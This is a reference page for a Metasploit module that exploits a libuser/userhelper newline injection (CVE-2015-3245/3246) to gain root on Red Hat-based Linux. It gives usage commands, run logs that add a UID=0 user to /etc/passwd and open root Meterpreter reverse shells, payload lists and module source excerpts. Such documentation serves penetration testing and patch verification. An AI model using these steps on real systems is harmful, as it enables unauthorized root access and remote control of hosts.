Libuser roothelper Privilege Escalation - Metasploit
This page contains detailed information about how to use the exploit/linux/local/libuser_roothelper_priv_esc metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.
Module Overview
Name: Libuser roothelper Privilege Escalation
Module: exploit/linux/local/libuser_roothelper_priv_esc
Source code: modules/exploits/linux/local/libuser_roothelper_priv_esc.rb
Disclosure date: 2015-07-24
Last modification time: 2021-10-06 13:43:31 +0000
Supported architecture(s): x86, x64
Supported platform(s): Linux
Target service / protocol: -
Target network port(s): -
List of CVEs: CVE-2015-3245, CVE-2015-3246
This module is also known as roothelper.c.
This module attempts to gain root privileges on Red Hat based Linux systems, including RHEL, Fedora and CentOS, by exploiting a newline injection vulnerability in libuser and userhelper versions prior to 0.56.13-8 and version 0.60 before 0.60-7. This module makes use of the roothelper.c exploit from Qualys to insert a new user with UID=0 in /etc/passwd. Note, the password for the current user is required by userhelper. Note, on some systems, such as Fedora 11, the user entry for the current user in /etc/passwd will become corrupted and exploitation will fail. This module has been tested successfully on libuser packaged versions 0.56.13-4.el6 on CentOS 6.0 (x86_64); 0.56.13-5.el6 on CentOS 6.5 (x86_64); 0.60-5.el7 on CentOS 7.1-1503 (x86_64); 0.56.16-1.fc13 on Fedora 13 (i686); 0.59-1.fc19 on Fedora Desktop 19 (x86_64); 0.60-3.fc20 on Fedora Desktop 20 (x86_64); 0.60-6.fc21 on Fedora Desktop 21 (x86_64); 0.60-6.fc22 on Fedora Desktop 22 (x86_64); 0.56.13-5.el6 on Red Hat 6.6 (x86_64); and 0.60-5.el7 on Red Hat 7.0 (x86_64). RHEL 5 is vulnerable, however the installed version of glibc (2.5) is missing various functions required by roothelper.c.
Module Ranking and Traits
Module Ranking:
- great: The exploit has a default target AND either auto-detects the appropriate target or uses an application-specific return address AFTER a version check. More information about ranking can be found here.
Basic Usage
Note: To run a local exploit, make sure you are at the msf prompt.
Also, to check the session ID, use the sessions
command.
msf > use exploit/linux/local/libuser_roothelper_priv_esc
msf exploit(libuser_roothelper_priv_esc) > show targets
... a list of targets ...
msf exploit(libuser_roothelper_priv_esc) > set TARGET target-id
msf exploit(libuser_roothelper_priv_esc) > show options
... show and set options ...
msf exploit(libuser_roothelper_priv_esc) > set SESSION session-id
msf exploit(libuser_roothelper_priv_esc) > exploit
Required Options
- SESSION: The session to run this module on.
Knowledge Base
Description
This module attempts to gain root privileges on Red Hat based Linux
systems, including RHEL, Fedora and CentOS, by exploiting a newline
injection vulnerability in libuser
and userhelper
versions prior
to 0.56.13-8
and version 0.60
before 0.60-7
.
This module makes use of the roothelper.c
exploit from Qualys to
insert a new user with UID=0
in /etc/passwd
.
Note, the password for the current user is required by userhelper
.
Note, on some systems, such as Fedora 11, the user entry for the
current user in /etc/passwd
will become corrupted and exploitation
will fail.
Vulnerable Application
This module has been tested successfully on libuser packaged versions:
0.56.13-4.el6
on CentOS 6.0 (x86_64)0.56.13-5.el6
on CentOS 6.5 (x86_64)0.60-5.el7
on CentOS 7.1-1503 (x86_64)0.56.16-1.fc13
on Fedora 13 (i686)0.59-1.fc19
on Fedora Desktop 19 (x86_64)0.60-3.fc20
on Fedora Desktop 20 (x86_64)0.60-6.fc21
on Fedora Desktop 21 (x86_64)0.60-6.fc22
on Fedora Desktop 22 (x86_64)0.56.13-5.el6
on Red Hat 6.6 (x86_64)0.60-5.el7
on Red Hat 7.0 (x86_64)
RHEL 5 is vulnerable, however the installed version of glibc
(2.5
)
is missing various functions required by roothelper.c
.
Verification Steps
- Start
msfconsole
- Get a session
use exploit/linux/local/libuser_roothelper_priv_esc
set SESSION [SESSION]
set PASSWORD [PASSWORD]
check
run
- You should get a new root session
Options
SESSION
Which session to use, which can be viewed with sessions
PASSWORD
Password for the current user. (default: blank)
WritableDir
A writable directory file system path. (default: /tmp
)
COMPILE
Options: Auto
True
False
(default: Auto
)
Whether roothelper.c
should be live compiled with gcc
on the target system,
or uploaded as a pre-compiled binary.
Auto
will first determine if gcc
is installed to compile live on the system,
and fall back to uploading a pre-compiled binary.
Scenarios
### libuser 0.56.13-5.el6 on Red Hat 6.6 (x86_64)
msf5 exploit(linux/local/libuser_roothelper_priv_esc) > set session 1
session => 1
msf5 exploit(linux/local/libuser_roothelper_priv_esc) > set password password
password => password
msf5 exploit(linux/local/libuser_roothelper_priv_esc) > run
[*] Started reverse TCP handler on 172.16.191.188:4444
[*] Writing '/tmp/.QQ4pE9nj.c' (29342 bytes) ...
[*] Launching roothelper exploit (Timeout: 180)...
[+] Success! User 'a' added to /etc/passwd
[*] Writing '/tmp/.SJAEHS' (207 bytes) ...
[*] Sending stage (857352 bytes) to 172.16.191.245
[*] Meterpreter session 2 opened (172.16.191.188:4444 -> 172.16.191.245:46065) at 2018-04-23 13:08:51 -0400
meterpreter > getuid
Server username: uid=0, gid=0, euid=0, egid=0
meterpreter > sysinfo
Computer : localhost.localdomain
OS : Red Hat Enterprise Linux 6 (Linux 2.6.32-504.el6.x86_64)
Architecture : x64
BuildTuple : i486-linux-musl
Meterpreter : x86/linux
### libuser 0.60-5.el7 on CentOS 7.1-1503 (x86_64)
msf5 exploit(linux/local/libuser_roothelper_priv_esc) > set session 1
session => 1
msf5 exploit(linux/local/libuser_roothelper_priv_esc) > set password password
password => password
msf5 exploit(linux/local/libuser_roothelper_priv_esc) > run
[*] Started reverse TCP handler on 172.16.191.188:4444
[*] Writing '/tmp/.Ake5GA' (103396 bytes) ...
[*] Launching roothelper exploit (Timeout: 180)...
[+] Success! User 'a' added to /etc/passwd
[*] Writing '/tmp/.vbahMY' (207 bytes) ...
[*] Sending stage (857352 bytes) to 172.16.191.242
[*] Meterpreter session 2 opened (172.16.191.188:4444 -> 172.16.191.242:48332) at 2018-04-23 13:13:22 -0400
meterpreter > getuid
Server username: uid=0, gid=0, euid=0, egid=0
meterpreter > sysinfo
Computer : localhost.localdomain
OS : Red Hat 7.1 (Linux 3.10.0-229.el7.x86_64)
Architecture : x64
BuildTuple : i486-linux-musl
Meterpreter : x86/linux
### libuser 0.60-6.fc21 on Fedora Desktop 21 (x86_64)
msf5 exploit(linux/local/libuser_roothelper_priv_esc) > set session 1
session => 1
msf5 exploit(linux/local/libuser_roothelper_priv_esc) > set password password
password => password
msf5 exploit(linux/local/libuser_roothelper_priv_esc) > run
[*] Started reverse TCP handler on 172.16.191.188:4444
[*] Writing '/tmp/.ByQC9FHS.c' (29342 bytes) ...
[*] Launching roothelper exploit (Timeout: 180)...
[+] Success! User 'a' added to /etc/passwd
[*] Writing '/tmp/.WnBXJkWDa' (207 bytes) ...
[*] Sending stage (857352 bytes) to 172.16.191.240
[*] Meterpreter session 2 opened (172.16.191.188:4444 -> 172.16.191.240:53201) at 2018-04-23 13:16:32 -0400
meterpreter > getuid
Server username: uid=0, gid=0, euid=0, egid=0
meterpreter > sysinfo
Computer : localhost.localdomain
OS : Fedora 21 (Linux 3.17.4-301.fc21.x86_64)
Architecture : x64
BuildTuple : i486-linux-musl
Meterpreter : x86/linux
Go back to menu.
Msfconsole Usage
Here is how the linux/local/libuser_roothelper_priv_esc exploit module looks in the msfconsole:
msf6 > use exploit/linux/local/libuser_roothelper_priv_esc
[*] No payload configured, defaulting to linux/x64/meterpreter/reverse_tcp
msf6 exploit(linux/local/libuser_roothelper_priv_esc) > show info
Name: Libuser roothelper Privilege Escalation
Module: exploit/linux/local/libuser_roothelper_priv_esc
Platform: Linux
Arch: x86, x64
Privileged: Yes
License: Metasploit Framework License (BSD)
Rank: Great
Disclosed: 2015-07-24
Provided by:
Qualys
bcoles <[email protected]>
Available targets:
Id Name
-- ----
0 Auto
Check supported:
Yes
Basic options:
Name Current Setting Required Description
---- --------------- -------- -----------
COMPILE Auto yes Compile on target (Accepted: Auto, True, False)
PASSWORD yes Password for the current user
SESSION yes The session to run this module on.
Payload information:
Description:
This module attempts to gain root privileges on Red Hat based Linux
systems, including RHEL, Fedora and CentOS, by exploiting a newline
injection vulnerability in libuser and userhelper versions prior to
0.56.13-8 and version 0.60 before 0.60-7. This module makes use of
the roothelper.c exploit from Qualys to insert a new user with UID=0
in /etc/passwd. Note, the password for the current user is required
by userhelper. Note, on some systems, such as Fedora 11, the user
entry for the current user in /etc/passwd will become corrupted and
exploitation will fail. This module has been tested successfully on
libuser packaged versions 0.56.13-4.el6 on CentOS 6.0 (x86_64);
0.56.13-5.el6 on CentOS 6.5 (x86_64); 0.60-5.el7 on CentOS 7.1-1503
(x86_64); 0.56.16-1.fc13 on Fedora 13 (i686); 0.59-1.fc19 on Fedora
Desktop 19 (x86_64); 0.60-3.fc20 on Fedora Desktop 20 (x86_64);
0.60-6.fc21 on Fedora Desktop 21 (x86_64); 0.60-6.fc22 on Fedora
Desktop 22 (x86_64); 0.56.13-5.el6 on Red Hat 6.6 (x86_64); and
0.60-5.el7 on Red Hat 7.0 (x86_64). RHEL 5 is vulnerable, however
the installed version of glibc (2.5) is missing various functions
required by roothelper.c.
References:
https://www.exploit-db.com/exploits/37706
https://nvd.nist.gov/vuln/detail/CVE-2015-3245
https://nvd.nist.gov/vuln/detail/CVE-2015-3246
http://www.securityfocus.com/bid/76021
http://www.securityfocus.com/bid/76022
https://seclists.org/oss-sec/2015/q3/185
https://access.redhat.com/articles/1537873
Also known as:
roothelper.c
Module Options
This is a complete list of options available in the linux/local/libuser_roothelper_priv_esc exploit:
msf6 exploit(linux/local/libuser_roothelper_priv_esc) > show options
Module options (exploit/linux/local/libuser_roothelper_priv_esc):
Name Current Setting Required Description
---- --------------- -------- -----------
COMPILE Auto yes Compile on target (Accepted: Auto, True, False)
PASSWORD yes Password for the current user
SESSION yes The session to run this module on.
Payload options (linux/x64/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
LHOST 192.168.204.3 yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
0 Auto
Advanced Options
Here is a complete list of advanced options supported by the linux/local/libuser_roothelper_priv_esc exploit:
msf6 exploit(linux/local/libuser_roothelper_priv_esc) > show advanced
Module advanced options (exploit/linux/local/libuser_roothelper_priv_esc):
Name Current Setting Required Description
---- --------------- -------- -----------
AutoCheck true no Run check before exploit
ContextInformationFile no The information file that contains context information
DisablePayloadHandler false no Disable the handler code for the selected payload
EXE::Custom no Use custom exe instead of automatically generating a payload exe
EXE::EICAR false no Generate an EICAR file instead of regular payload exe
EXE::FallBack false no Use the default template in case the specified one is missing
EXE::Inject false no Set to preserve the original EXE function
EXE::OldMethod false no Set to use the substitution EXE generation method.
EXE::Path no The directory in which to look for the executable template
EXE::Template no The executable template file name.
EnableContextEncoding false no Use transient context when encoding payloads
FileDropperDelay no Delay in seconds before attempting cleanup
ForceExploit false no Override check result
MSI::Custom no Use custom msi instead of automatically generating a payload msi
MSI::EICAR false no Generate an EICAR file instead of regular payload msi
MSI::Path no The directory in which to look for the msi template
MSI::Template no The msi template file name
MSI::UAC false no Create an MSI with a UAC prompt (elevation to SYSTEM if accepted)
VERBOSE false no Enable detailed status messages
WORKSPACE no Specify the workspace for this module
WfsDelay 2 no Additional delay in seconds to wait for a session
WritableDir /tmp yes A directory where we can write files
Payload advanced options (linux/x64/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
AppendExit false no Append a stub that executes the exit(0) system call
AutoLoadStdapi true yes Automatically load the Stdapi extension
AutoRunScript no A script to run automatically on session creation.
AutoSystemInfo true yes Automatically capture system information on initialization.
AutoUnhookProcess false yes Automatically load the unhook extension and unhook the process
AutoVerifySessionTimeout 30 no Timeout period to wait for session validation to occur, in seconds
EnableStageEncoding false no Encode the second stage payload
EnableUnicodeEncoding false yes Automatically encode UTF-8 strings as hexadecimal
HandlerSSLCert no Path to a SSL certificate in unified PEM format, ignored for HTTP transports
InitialAutoRunScript no An initial script to run on session creation (before AutoRunScript)
MeterpreterDebugLevel 0 yes Set debug level for meterpreter 0-3 (Default output is strerr)
PayloadProcessCommandLine no The displayed command line that will be used by the payload
PayloadUUIDName no A human-friendly name to reference this unique payload (requires tracking)
PayloadUUIDRaw no A hex string representing the raw 8-byte PUID value for the UUID
PayloadUUIDSeed no A string to use when generating the payload UUID (deterministic)
PayloadUUIDTracking false yes Whether or not to automatically register generated UUIDs
PingbackRetries 0 yes How many additional successful pingbacks
PingbackSleep 30 yes Time (in seconds) to sleep between pingbacks
PrependChrootBreak false no Prepend a stub that will break out of a chroot (includes setreuid to root)
PrependFork false no Prepend a stub that starts the payload in its own process via fork
PrependSetgid false no Prepend a stub that executes the setgid(0) system call
PrependSetregid false no Prepend a stub that executes the setregid(0, 0) system call
PrependSetresgid false no Prepend a stub that executes the setresgid(0, 0, 0) system call
PrependSetresuid false no Prepend a stub that executes the setresuid(0, 0, 0) system call
PrependSetreuid false no Prepend a stub that executes the setreuid(0, 0) system call
PrependSetuid false no Prepend a stub that executes the setuid(0) system call
RemoteMeterpreterDebugFile no Redirect Debug Info to a Log File
ReverseAllowProxy false yes Allow reverse tcp even with Proxies specified. Connect back will NOT go through proxy but directly to LHOST
ReverseListenerBindAddress no The specific IP address to bind to on the local system
ReverseListenerBindPort no The port to bind to on the local system if different from LPORT
ReverseListenerComm no The specific communication channel to use for this listener
ReverseListenerThreaded false yes Handle every connection in a new thread (experimental)
SessionCommunicationTimeout 300 no The number of seconds of no activity before this session should be killed
SessionExpirationTimeout 604800 no The number of seconds before this session should be forcibly shut down
SessionRetryTotal 3600 no Number of seconds try reconnecting for on network failure
SessionRetryWait 10 no Number of seconds to wait between reconnect attempts
StageEncoder no Encoder to use if EnableStageEncoding is set
StageEncoderSaveRegisters no Additional registers to preserve in the staged payload if EnableStageEncoding is set
StageEncodingFallback true no Fallback to no encoding if the selected StageEncoder is not compatible
StagerRetryCount 10 no The number of times the stager should retry if the first connect fails
StagerRetryWait 5 no Number of seconds to wait for the stager between reconnect attempts
VERBOSE false no Enable detailed status messages
WORKSPACE no Specify the workspace for this module
Exploit Targets
Here is a list of targets (platforms and systems) which the linux/local/libuser_roothelper_priv_esc module can exploit:
msf6 exploit(linux/local/libuser_roothelper_priv_esc) > show targets
Exploit targets:
Id Name
-- ----
0 Auto
Compatible Payloads
This is a list of possible payloads which can be delivered and executed on the target system using the linux/local/libuser_roothelper_priv_esc exploit:
msf6 exploit(linux/local/libuser_roothelper_priv_esc) > show payloads
Compatible Payloads
===================
# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 payload/generic/custom normal No Custom Payload
1 payload/generic/debug_trap normal No Generic x86 Debug Trap
2 payload/generic/shell_bind_tcp normal No Generic Command Shell, Bind TCP Inline
3 payload/generic/shell_reverse_tcp normal No Generic Command Shell, Reverse TCP Inline
4 payload/generic/tight_loop normal No Generic x86 Tight Loop
5 payload/linux/x64/exec normal No Linux Execute Command
6 payload/linux/x64/meterpreter/bind_tcp normal No Linux Mettle x64, Bind TCP Stager
7 payload/linux/x64/meterpreter/reverse_tcp normal No Linux Mettle x64, Reverse TCP Stager
8 payload/linux/x64/meterpreter_reverse_http normal No Linux Meterpreter, Reverse HTTP Inline
9 payload/linux/x64/meterpreter_reverse_https normal No Linux Meterpreter, Reverse HTTPS Inline
10 payload/linux/x64/meterpreter_reverse_tcp normal No Linux Meterpreter, Reverse TCP Inline
11 payload/linux/x64/shell/bind_tcp normal No Linux Command Shell, Bind TCP Stager
12 payload/linux/x64/shell/reverse_tcp normal No Linux Command Shell, Reverse TCP Stager
13 payload/linux/x64/shell_bind_ipv6_tcp normal No Linux x64 Command Shell, Bind TCP Inline (IPv6)
14 payload/linux/x64/shell_bind_tcp normal No Linux Command Shell, Bind TCP Inline
15 payload/linux/x64/shell_bind_tcp_random_port normal No Linux Command Shell, Bind TCP Random Port Inline
16 payload/linux/x64/shell_reverse_ipv6_tcp normal No Linux x64 Command Shell, Reverse TCP Inline (IPv6)
17 payload/linux/x64/shell_reverse_tcp normal No Linux Command Shell, Reverse TCP Inline
18 payload/linux/x86/adduser normal No Linux Add User
19 payload/linux/x86/chmod normal No Linux Chmod
20 payload/linux/x86/exec normal No Linux Execute Command
21 payload/linux/x86/meterpreter/bind_ipv6_tcp normal No Linux Mettle x86, Bind IPv6 TCP Stager (Linux x86)
22 payload/linux/x86/meterpreter/bind_ipv6_tcp_uuid normal No Linux Mettle x86, Bind IPv6 TCP Stager with UUID Support (Linux x86)
23 payload/linux/x86/meterpreter/bind_nonx_tcp normal No Linux Mettle x86, Bind TCP Stager
24 payload/linux/x86/meterpreter/bind_tcp normal No Linux Mettle x86, Bind TCP Stager (Linux x86)
25 payload/linux/x86/meterpreter/bind_tcp_uuid normal No Linux Mettle x86, Bind TCP Stager with UUID Support (Linux x86)
26 payload/linux/x86/meterpreter/reverse_ipv6_tcp normal No Linux Mettle x86, Reverse TCP Stager (IPv6)
27 payload/linux/x86/meterpreter/reverse_nonx_tcp normal No Linux Mettle x86, Reverse TCP Stager
28 payload/linux/x86/meterpreter/reverse_tcp normal No Linux Mettle x86, Reverse TCP Stager
29 payload/linux/x86/meterpreter/reverse_tcp_uuid normal No Linux Mettle x86, Reverse TCP Stager
30 payload/linux/x86/meterpreter_reverse_http normal No Linux Meterpreter, Reverse HTTP Inline
31 payload/linux/x86/meterpreter_reverse_https normal No Linux Meterpreter, Reverse HTTPS Inline
32 payload/linux/x86/meterpreter_reverse_tcp normal No Linux Meterpreter, Reverse TCP Inline
33 payload/linux/x86/metsvc_bind_tcp normal No Linux Meterpreter Service, Bind TCP
34 payload/linux/x86/metsvc_reverse_tcp normal No Linux Meterpreter Service, Reverse TCP Inline
35 payload/linux/x86/read_file normal No Linux Read File
36 payload/linux/x86/shell/bind_ipv6_tcp normal No Linux Command Shell, Bind IPv6 TCP Stager (Linux x86)
37 payload/linux/x86/shell/bind_ipv6_tcp_uuid normal No Linux Command Shell, Bind IPv6 TCP Stager with UUID Support (Linux x86)
38 payload/linux/x86/shell/bind_nonx_tcp normal No Linux Command Shell, Bind TCP Stager
39 payload/linux/x86/shell/bind_tcp normal No Linux Command Shell, Bind TCP Stager (Linux x86)
40 payload/linux/x86/shell/bind_tcp_uuid normal No Linux Command Shell, Bind TCP Stager with UUID Support (Linux x86)
41 payload/linux/x86/shell/reverse_ipv6_tcp normal No Linux Command Shell, Reverse TCP Stager (IPv6)
42 payload/linux/x86/shell/reverse_nonx_tcp normal No Linux Command Shell, Reverse TCP Stager
43 payload/linux/x86/shell/reverse_tcp normal No Linux Command Shell, Reverse TCP Stager
44 payload/linux/x86/shell/reverse_tcp_uuid normal No Linux Command Shell, Reverse TCP Stager
45 payload/linux/x86/shell_bind_ipv6_tcp normal No Linux Command Shell, Bind TCP Inline (IPv6)
46 payload/linux/x86/shell_bind_tcp normal No Linux Command Shell, Bind TCP Inline
47 payload/linux/x86/shell_bind_tcp_random_port normal No Linux Command Shell, Bind TCP Random Port Inline
48 payload/linux/x86/shell_reverse_tcp normal No Linux Command Shell, Reverse TCP Inline
49 payload/linux/x86/shell_reverse_tcp_ipv6 normal No Linux Command Shell, Reverse TCP Inline (IPv6)
Evasion Options
Here is the full list of possible evasion options supported by the linux/local/libuser_roothelper_priv_esc exploit in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):
msf6 exploit(linux/local/libuser_roothelper_priv_esc) > show evasion
Module evasion options:
Name Current Setting Required Description
---- --------------- -------- -----------
Go back to menu.
Error Messages
This module may fail with the following error messages:
- gcc is not installed. Compiling will fail.
- <USERHELPER_PATH> is not setuid
- script is not installed. Exploitation will fail.
- File /etc/passwd is immutable
- Could not determine the GNU C library version
- GNU C Library version <GLIBC_VERSION> is not supported
- Session already has root privileges. Set ForceExploit to override.
- <BASE_DIR> is not writable
- <EXECUTABLE_PATH>.c failed to compile
- Incorrect password
- Something went wrong
- Could not remove user '<USERNAME>' from /etc/passwd
- Error during cleanup: <E.MESSAGE>
Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.
gcc is not installed. Compiling will fail.
Here is a relevant code snippet related to the "gcc is not installed. Compiling will fail." error message:
110: if has_gcc?
111: vprint_good 'gcc is installed'
112: compile = true
113: else
114: unless datastore['COMPILE'].eql? 'Auto'
115: fail_with Failure::BadConfig, 'gcc is not installed. Compiling will fail.'
116: end
117: end
118: end
119:
120: compile
<USERHELPER_PATH> is not setuid
Here is a relevant code snippet related to the "<USERHELPER_PATH> is not setuid" error message:
121: end
122:
123: def check
124: userhelper_path = '/usr/sbin/userhelper'
125: unless setuid? userhelper_path
126: vprint_error "#{userhelper_path} is not setuid"
127: return CheckCode::Safe
128: end
129: vprint_good "#{userhelper_path} is setuid"
130:
131: unless command_exists? 'script'
script is not installed. Exploitation will fail.
Here is a relevant code snippet related to the "script is not installed. Exploitation will fail." error message:
127: return CheckCode::Safe
128: end
129: vprint_good "#{userhelper_path} is setuid"
130:
131: unless command_exists? 'script'
132: vprint_error "script is not installed. Exploitation will fail."
133: return CheckCode::Safe
134: end
135: vprint_good 'script is installed'
136:
137: if immutable?('/etc/passwd')
File /etc/passwd is immutable
Here is a relevant code snippet related to the "File /etc/passwd is immutable" error message:
133: return CheckCode::Safe
134: end
135: vprint_good 'script is installed'
136:
137: if immutable?('/etc/passwd')
138: vprint_error 'File /etc/passwd is immutable'
139: return CheckCode::Safe
140: end
141: vprint_good 'File /etc/passwd is not immutable'
142:
143: glibc_banner = cmd_exec 'ldd --version'
Could not determine the GNU C library version
Here is a relevant code snippet related to the "Could not determine the GNU C library version" error message:
141: vprint_good 'File /etc/passwd is not immutable'
142:
143: glibc_banner = cmd_exec 'ldd --version'
144: glibc_version = Rex::Version.new glibc_banner.scan(/^ldd\s+\(.*\)\s+([\d\.]+)/).flatten.first
145: if glibc_version.to_s.eql? ''
146: vprint_error 'Could not determine the GNU C library version'
147: return CheckCode::Detected
148: end
149:
150: # roothelper.c requires functions only available since glibc 2.6+
151: if glibc_version < Rex::Version.new('2.6')
GNU C Library version <GLIBC_VERSION> is not supported
Here is a relevant code snippet related to the "GNU C Library version <GLIBC_VERSION> is not supported" error message:
147: return CheckCode::Detected
148: end
149:
150: # roothelper.c requires functions only available since glibc 2.6+
151: if glibc_version < Rex::Version.new('2.6')
152: vprint_error "GNU C Library version #{glibc_version} is not supported"
153: return CheckCode::Safe
154: end
155: vprint_good "GNU C Library version #{glibc_version} is supported"
156:
157: CheckCode::Detected
Session already has root privileges. Set ForceExploit to override.
Here is a relevant code snippet related to the "Session already has root privileges. Set ForceExploit to override." error message:
158: end
159:
160: def exploit
161: if is_root?
162: unless datastore['ForceExploit']
163: fail_with Failure::BadConfig, 'Session already has root privileges. Set ForceExploit to override.'
164: end
165: end
166:
167: unless writable? base_dir
168: fail_with Failure::BadConfig, "#{base_dir} is not writable"
<BASE_DIR> is not writable
Here is a relevant code snippet related to the "<BASE_DIR> is not writable" error message:
163: fail_with Failure::BadConfig, 'Session already has root privileges. Set ForceExploit to override.'
164: end
165: end
166:
167: unless writable? base_dir
168: fail_with Failure::BadConfig, "#{base_dir} is not writable"
169: end
170:
171: executable_name = ".#{rand_text_alphanumeric rand(5..10)}"
172: executable_path = "#{base_dir}/#{executable_name}"
173:
<EXECUTABLE_PATH>.c failed to compile
Here is a relevant code snippet related to the "<EXECUTABLE_PATH>.c failed to compile" error message:
183: upload "#{executable_path}.c", c_code
184: output = cmd_exec "gcc -o #{executable_path} #{executable_path}.c"
185:
186: unless output.blank?
187: print_error output
188: fail_with Failure::Unknown, "#{executable_path}.c failed to compile"
189: end
190:
191: cmd_exec "chmod +x #{executable_path}"
192: register_file_for_cleanup executable_path
193: else
Incorrect password
Here is a relevant code snippet related to the "Incorrect password" error message:
211: if output =~ %r{Creating a backup copy of "/etc/passwd" named "(.*)"}
212: register_file_for_cleanup $1
213: end
214:
215: if output =~ /died in parent: .*.c:517: forkstop_userhelper/
216: fail_with Failure::NoAccess, 'Incorrect password'
217: end
218:
219: @username = nil
220:
221: if output =~ /Exploit successful, run "su ([a-z])" to become root/
Something went wrong
Here is a relevant code snippet related to the "Something went wrong" error message:
221: if output =~ /Exploit successful, run "su ([a-z])" to become root/
222: @username = $1
223: end
224:
225: if @username.blank?
226: fail_with Failure::Unknown, 'Something went wrong'
227: end
228:
229: print_good "Success! User '#{@username}' added to /etc/passwd"
230:
231: # Upload payload executable
Could not remove user '<USERNAME>' from /etc/passwd
Here is a relevant code snippet related to the "Could not remove user '<USERNAME>' from /etc/passwd" error message:
268: new_user_removed = true
269: end
270: end
271:
272: unless new_user_removed
273: print_warning "Could not remove user '#{@username}' from /etc/passwd"
274: end
275: rescue => e
276: print_error "Error during cleanup: #{e.message}"
277: ensure
278: super
Error during cleanup: <E.MESSAGE>
Here is a relevant code snippet related to the "Error during cleanup: <E.MESSAGE>" error message:
270: end
271:
272: unless new_user_removed
273: print_warning "Could not remove user '#{@username}' from /etc/passwd"
274: end
275: rescue => e
276: print_error "Error during cleanup: #{e.message}"
277: ensure
278: super
279: end
280: end
Go back to menu.
Related Pull Requests
- #15556 Merged Pull Request: Add shell support to enum_unattended module
- #15564 Merged Pull Request: Update post_common mixin methods to support powershell session type
- #15570 Merged Pull Request: Fix smb enum gpp module
- #15546 Merged Pull Request: Fix #15480, fix IgnoreUnknownPayloads for stageless reverse_http payloads
- #15561 Merged Pull Request: Add an exploit for ProxyShell
- #15525 Merged Pull Request: Add Lucee Administrator CVE-2021-21307 exploit
- #15332 Merged Pull Request: fix a localization issue and some other minor issues in
rename_file
method - #15540 Merged Pull Request: Add option for running
cmd_execute
in a subshell - #15303 Merged Pull Request: Fix
dir
method for windows shell sessions - #15547 Merged Pull Request: Bump rex-text to 0.2.36
References
- EDB-37706
- CVE-2015-3245
- CVE-2015-3246
- BID-76021
- BID-76022
- https://seclists.org/oss-sec/2015/q3/185
- https://access.redhat.com/articles/1537873
See Also
Related Nessus plugins:
- NewStart CGSL CORE 5.04 / MAIN 5.04 : libuser Multiple Vulnerabilities (NS-SA-2021-0044)
- Amazon Linux AMI : usermode / libuser (ALAS-2015-572)
- Oracle Linux 7 : libuser (ELSA-2015-1483)
- RHEL 6 : libuser (RHSA-2015:1482)
- RHEL 7 : libuser (RHSA-2015:1483)
- CentOS 7 : libuser (CESA-2015:1483)
- Scientific Linux Security Update : libuser on SL7.x x86_64 (20150723)
- CentOS 6 : libuser (CESA-2015:1482)
- Oracle Linux 6 : libuser (ELSA-2015-1482)
- Fedora 22 : libuser-0.62-1.fc22 (2015-12301)
Authors
- Qualys
- bcoles
Version
This page has been produced using Metasploit Framework version 6.1.24-dev. For more modules, visit the Metasploit Module Library.
Go back to menu.